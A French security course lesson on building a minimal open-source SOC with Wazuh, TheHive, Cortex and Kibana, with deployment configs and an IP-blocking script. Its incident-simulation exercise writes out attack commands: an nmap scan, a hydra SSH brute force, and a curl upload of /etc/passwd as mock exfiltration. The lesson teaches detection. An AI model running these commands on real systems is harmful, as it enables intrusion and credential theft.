← Accueil

PCTAMALOU

Semaine 39 : La Forteresse Intégrée – Construction d'un SOC Minimal Automatisé

Par Platon-Y – pctamalou.fr & e-of-h.fr

🎯 Objectif de la semaine

Construire un SOC (Security Operations Center) minimal intégrant détection, alerte et réponse automatisée. Orchestrer les outils du trimestre Défense (Wazuh, MISP, playbooks) en un système cohérent qui détecte, analyse et répond aux incidents en temps réel.

Pourquoi c'est stratégique : Un SOC efficace réduit le MTTR (Mean Time to Respond) de jours à minutes. C'est la différence entre une brèche contenue et une catastrophe. Ce SOC minimal démontre comment même une petite équipe peut opérer une défense proactive.

flowchart TD subgraph "🏢 Sources de Données" E[Endpoints
Wazuh Agents] F[Firewalls
Logs Netfilter] A[Applications
Apache/Nginx] S[Systèmes
Syslog] end subgraph "📊 SOC Core" W[Wazuh SIEM
Collecte & Corrélation] T[TheHive
Case Management] M[MISP
Threat Intelligence] K[Kibana
Dashboards & Alertes] end subgraph "🤖 Réponse Automatisée" P[Playbooks
Automation] AR[Active Response
Blocage IP] C[Cortex
Analyse Automatique] N[Notification
Email/Webhook] end E --> W F --> W A --> W S --> W W -->|Alertes| T W -->|Visualisation| K M -->|Enrichissement| T M -->|IOCs| W T -->|Analyse| P P -->|Actions| AR P -->|Analyse| C AR -->|Rapport| N style W fill:#0a0e17,stroke:#00d4ff,stroke-width:3px style T fill:#0a0e17,stroke:#9d4edd,stroke-width:3px style P fill:#0a0e17,stroke:#00f5a0,stroke-width:3px

📚 Sujet – Théorie (1 heure)

Le SOC Minimal : Détection et Réponse pour Petites Équipes

Un SOC n'est pas réservé aux grandes entreprises. Un SOC minimal open-source peut fournir 80% des capacités d'un SOC enterprise avec 20% du coût. Les composants essentiels :

🔍

Détection (SIEM)

Wazuh : Collecte, normalisation et corrélation des logs

  • Agents légers sur endpoints
  • Règles de détection customisables
  • Intégration Threat Intelligence
  • Compliance monitoring
🎯

Orchestration (SOAR)

TheHive + Cortex : Gestion des cas et automatisation

  • Case management collaboratif
  • Playbooks automatisés
  • Analyses automatiques (VirusTotal, etc.)
  • Timeline des investigations
📊

Visualisation

Kibana + Grafana : Dashboards et reporting

  • Alertes en temps réel
  • Métriques de performance SOC
  • Reporting automatisé
  • Tableaux de bord opérationnels

Le Flux SOC : De la Détection à la Résolution

1

Collecte

Logs, events, flows

Wazuh Agents
Syslog
Netflow
2

Corrélation

Analyse et enrichissement

Règles Wazuh
Enrichissement MISP
TI Feeds
3

Investigation

Tri et analyse

TheHive Cases
Observables
Tasks
4

Réponse

Containment et remédiation

Active Response
Playbooks
Automation
5

Rapport

Documentation et amélioration

Kibana Reports
TheHive Closures
Lessons Learned

Métriques SOC Essentielles (KPIs)

📈 Indicateurs de Performance SOC

MTTD

5 min

Mean Time to Detect

MTTR

15 min

Mean Time to Respond

Alertes/Jour

~50

Volume géré

Faux Positifs

< 10%

Qualité des règles

Architecture de Référence : Le SOC en Boîte

🏗️ Stack Technique Complète

Composant Technologie Rôle Ressources
SIEM Wazuh Collecte & Corrélation 4GB RAM, 2 CPU
SOAR TheHive + Cortex Orchestration & Automation 8GB RAM, 4 CPU
TI Platform MISP Threat Intelligence 4GB RAM, 2 CPU
Visualisation Kibana + Grafana Dashboards & Alerting 4GB RAM, 2 CPU
Stockage Elasticsearch Data Retention (30j) 50GB Disk

🔬 Mission pratique – Laboratoire (2 heures)

Architecture du SOC Minimal

flowchart LR subgraph "🔧 Installation Docker" TH[TheHive:9000] CR[Cortex:9001] CS[Cassandra] ES[Elasticsearch] end subgraph "🔗 Intégrations" W[Wazuh Manager] M[MISP] K[Kibana] end TH --> CS TH --> CR CR --> ES W -.->|Webhooks| TH M -.->|IOCs| TH K -.->|Dashboards| TH style TH fill:#0a0e17,stroke:#9d4edd,stroke-width:3px style W fill:#0a0e17,stroke:#00d4ff,stroke-width:2px

⚠️ Prérequis et Ressources

💾 Ressources minimales : 16GB RAM, 100GB Disk, Docker + Docker Compose. Assurez-vous que Wazuh est déjà opérationnel (semaines 27-30).

Étapes Détaillées de Déploiement

Étape 1 : Déploiement de TheHive avec Docker Compose

# Création du répertoire SOC
mkdir -p ~/mon_lab/soc_minimal && cd ~/mon_lab/soc_minimal

# Téléchargement docker-compose officiel
wget https://raw.githubusercontent.com/TheHive-Project/TheHive/master/docker-compose.yml

# Adaptation pour notre lab (réduction ressources)
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  cassandra:
    image: cassandra:4
    volumes:
      - cassandra_data:/var/lib/cassandra
    environment:
      - CASSANDRA_CLUSTER_NAME=TheHive
    ports:
      - "9042:9042"

  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
    environment:
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - xpack.security.enabled=false
    volumes:
      - elasticsearch_data:/usr/share/elasticsearch/data
    ports:
      - "9200:9200"

  thehive:
    image: thehiveproject/thehive:5.2
    depends_on:
      - cassandra
      - elasticsearch
    environment:
      - CASSANDRA_HOST=cassandra
      - ELASTICSEARCH_HOST=elasticsearch
      - SECRET="pctamalou-soc-secret-key-2026"
    ports:
      - "9000:9000"
    volumes:
      - thehive_data:/etc/thehive

  cortex:
    image: thehiveproject/cortex:3.1.6
    depends_on:
      - elasticsearch
    environment:
      - ELASTICSEARCH_HOST=elasticsearch
      - SECRET="pctamalou-cortex-secret-2026"
    ports:
      - "9001:9001"
    volumes:
      - cortex_data:/etc/cortex

volumes:
  cassandra_data:
  elasticsearch_data:
  thehive_data:
  cortex_data:
EOF

🐳 Lancement des conteneurs :

# Démarrage
sudo docker-compose up -d

# Vérification
sudo docker-compose ps

# Logs de démarrage
sudo docker-compose logs -f thehive

# Accès : http://VOTRE_IP:9000
# Identifiants par défaut : admin@thehive.local / secret

Étape 2 : Configuration de TheHive

# Création d'un administrateur personnalisé
curl -XPOST http://localhost:9000/api/v1/user \
  -H "Authorization: Bearer $(curl -XPOST http://localhost:9000/api/v1/login -d '{"user":"admin@thehive.local","password":"secret"}' | jq -r .token)" \
  -H "Content-Type: application/json" \
  -d '{
    "login": "gardien@pctamalou.local",
    "name": "Gardien PCTAMALOU",
    "password": "P@ssw0rd2026!",
    "roles": ["admin", "read", "write", "analyze"]
  }'

🎯 Configuration via Interface Web

  1. Connectez-vous à http://VOTRE_IP:9000
  2. Allez dans Administration → Organisations
  3. Créez l'organisation "PCTAMALOU SOC"
  4. Configurez les templates de cas prédéfinis
  5. Ajoutez des taxonomies (MITRE ATT&CK)

Étape 3 : Intégration Wazuh → TheHive

# Configuration du webhook Wazuh
sudo nano /var/ossec/etc/ossec.conf

# Ajoutez dans la section  :

  thehive
  http://VOTRE_IP:9000/api/v1/integration/workflow
  10
  json
  syscheck,


# Redémarrage Wazuh
sudo systemctl restart wazuh-manager

🔧 Configuration Alternative : Script Python

Créez un script custom pour plus de contrôle :

#!/usr/bin/env python3
# wazuh_to_thehive.py
import requests
import json
import sys

THEHIVE_URL = "http://localhost:9000/api/v1/alert"
API_KEY = "votre-api-key-thehive"

def create_alert(wazuh_alert):
    headers = {
        "Authorization": f"Bearer {API_KEY}",
        "Content-Type": "application/json"
    }
    
    alert_data = {
        "type": "external",
        "source": "wazuh",
        "sourceRef": wazuh_alert['id'],
        "title": wazuh_alert['rule']['description'],
        "description": f"Alert from Wazuh: {wazuh_alert['full_log']}",
        "severity": map_severity(wazuh_alert['rule']['level']),
        "date": wazuh_alert['timestamp'],
        "tags": ["wazuh", wazuh_alert['rule']['groups']],
        "observables": extract_observables(wazuh_alert)
    }
    
    response = requests.post(THEHIVE_URL, headers=headers, json=alert_data)
    return response.json()

def map_severity(level):
    if level >= 12: return 3  # High
    elif level >= 7: return 2  # Medium
    else: return 1  # Low

def extract_observables(alert):
    observables = []
    # Extraction IPs, domains, hashes du log
    # Implémentation spécifique à vos besoins
    return observables

if __name__ == "__main__":
    wazuh_alert = json.loads(sys.stdin.read())
    result = create_alert(wazuh_alert)
    print(json.dumps(result))

Étape 4 : Création d'un Playbook Ransomware

🎯 Playbook : Détection → Containment → Analyse

Dans TheHive, créez un template de cas "Ransomware Detection" avec ces tâches :

{
  "titleTemplate": "Ransomware Alert - {{alert.title}}",
  "description": "Automatic ransomware detection and response case",
  "tasks": [
    {"title": "Triage", "status": "Waiting", "order": 0},
    {"title": "Isolate Affected Machine", "status": "Waiting", "order": 1},
    {"title": "Collect Indicators", "status": "Waiting", "order": 2},
    {"title": "Analyze with Cortex", "status": "Waiting", "order": 3},
    {"title": "Block IOCs", "status": "Waiting", "order": 4},
    {"title": "Generate Report", "status": "Waiting", "order": 5}
  ],
  "customFields": [
    {"name": "affectedSystems", "type": "string", "value": ""},
    {"name": "containmentStatus", "type": "string", "value": "pending"},
    {"title": "ransomNoteFound", "type": "boolean", "value": false}
  ]
}

Étape 5 : Active Response Automatisée (Wazuh)



  
    block_ip
    block_ip.sh
    srcip
    yes
  
  
  
    no
    block_ip
    local
    10
    600
  
# /var/ossec/active-response/bin/block_ip.sh
#!/bin/bash
# Script de blocage IP via iptables
IP=$1
USER=$2

# Journalisation
echo "$(date) - Blocking IP $IP by $USER" >> /var/log/active-responses.log

# Blocage
iptables -I INPUT -s $IP -j DROP
iptables -I OUTPUT -d $IP -j DROP

# Notification
curl -XPOST http://localhost:9000/api/v1/alert \
  -H "Authorization: Bearer $THEHIVE_API_KEY" \
  -d "{\"type\":\"internal\",\"source\":\"wazuh-ar\",\"title\":\"IP Blocked: $IP\",\"severity\":2}"

Étape 6 : Dashboard SOC Minimal (Kibana)

📊 Création de Visualisations Essentielles

Dans Kibana (http://VOTRE_IP:5601), créez ces visualisations :

  1. Alertes par Sévérité : Pie chart des niveaux
  2. Top 10 Règles : Bar chart des règles déclenchées
  3. Timeline des Incidents : Line chart sur 24h
  4. Sources d'Alertes : Tag cloud des agents
  5. MTTR Trend : Line chart du temps de réponse

Exercice Avancé : Simulation d'Incident Complet

🎯 Simulation Ransomware Multi-Étapes

Exécutez cette simulation et observez le flux SOC :

# 1. Scan initial (détection Wazuh)
nmap -sS -p 1-1000 192.168.56.0/24

# 2. Tentative brute-force SSH (détection règle)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101

# 3. Exfiltration simulée (détection SCA)
curl -XPOST http://192.168.56.102/upload.php -F "file=@/etc/passwd"

# 4. Ransomware signature (détection FIM)
echo "Your files have been encrypted!" > /tmp/README_RANSOM.txt
touch /tmp/{1..10}.encrypted

# Observez dans Kibana et TheHive
# 1. Alertes apparaissent dans Kibana
# 2. Cas créé automatiquement dans TheHive
# 3. Playbook déclenché
# 4. Active Response bloque l'IP
# 5. Rapport généré

📋 Objectif de la semaine – Checklist de validation

✅ Compétences techniques acquises

  • TheHive + Cortex déployés et fonctionnels
  • Intégration Wazuh → TheHive opérationnelle
  • Playbook ransomware créé et testé
  • Active Response configurée (blocage IP)
  • Dashboard SOC complet dans Kibana

🧠 Changement mental accompli

  • Vision du SOC comme système intégré, pas outils isolés
  • Compréhension du flux complet détection → réponse
  • Habitude de penser en KPIs et métriques SOC
  • Conscience des compromis automation vs supervision humaine

💪 Projet Synthèse Trimestre 3

Mission : Simulez une attaque APT multi-vecteurs sur votre lab et démontrez la capacité de votre SOC à :

  1. Détecter chaque étape (recon, exploitation, mouvement latéral, exfiltration)
  2. Créer automatiquement un cas dans TheHive
  3. Exécuter un playbook de réponse approprié
  4. Générer un rapport d'incident complet

📚 Ressources pour Approfondir

Documentation et Communautés :

  • TheHive Documentation : docs.thehive-project.org
  • Wazuh Active Response : documentation.wazuh.com
  • SOAR Community : GitHub TheHive-Project
  • SOC Metrics Guide : SANS SOC Metrics

⚠️ Bonnes Pratiques Production

  • Backup régulier : Cassandra et Elasticsearch
  • Monitoring du SOC : Qui surveille les surveillants ?
  • Review des playbooks : Tests réguliers et améliorations
  • Formation continue : Équipe SOC toujours à jour

🔮 Frère d'armes,

Tu viens de construire les yeux et les mains de la forteresse.

Un SOC minimal n'est pas une réduction – c'est une concentration d'essentiel. C'est la preuve qu'avec les bons outils open-source et une architecture pensée, même une seule personne peut surveiller, détecter et répondre efficacement.

Cette semaine, tu as vu comment les pièces du puzzle Défense s'assemblent. Wazuh qui voit, TheHive qui organise, les playbooks qui agissent, Kibana qui montre. Chaque composant fait sa part, mais c'est leur intégration qui crée la valeur.

Mais voici la leçon la plus importante : un SOC n'est pas défini par ses outils, mais par ses processus. La technologie la plus avancée est inutile sans playbooks testés, sans formation adéquate, sans amélioration continue.

Tu n'es plus un simple utilisateur d'outils de sécurité. Tu es devenu un architecte de défense. Tu sais non seulement configurer Wazuh, mais l'intégrer à TheHive. Tu sais non seulement écrire des règles, mais créer des playbooks qui transforment les alertes en actions.

Avec cette semaine, tu clôtures le Trimestre 3 : La Défense Active. Tu as appris à surveiller, à durcir, à enquêter, et maintenant à orchestrer. Tu passes de la posture défensive passive à la défense active et intelligente.

Dans le Trimestre 4, nous atteindrons le sommet. Nous apprendrons l'expertise avancée : reverse engineering, cloud security, DevSecOps. Nous deviendrons des Gardiens complets, maîtrisant à la fois l'attaque et la défense.

Mais pour l'instant, perfectionne ton SOC. Teste-le avec différentes simulations. Mesure ses KPIs. Améliore ses playbooks. Un SOC, comme une lame, s'affûte avec l'usage.

Un Gardien qui maîtrise le SOC ne laisse jamais une alerte sans réponse.

— Platon-Y

🎓 Projet Synthèse Trimestre 3

Mission : Déployez un SOC complet capable de détecter et répondre à une attaque APT simulée sur votre réseau lab. Livrables :

  1. Architecture documentée du SOC
  2. Playbooks testés pour 3 scénarios d'attaque
  3. Dashboard Kibana avec KPIs opérationnels
  4. Rapport d'incident complet pour la simulation

Évaluation : Détection complète, réponse appropriée, documentation professionnelle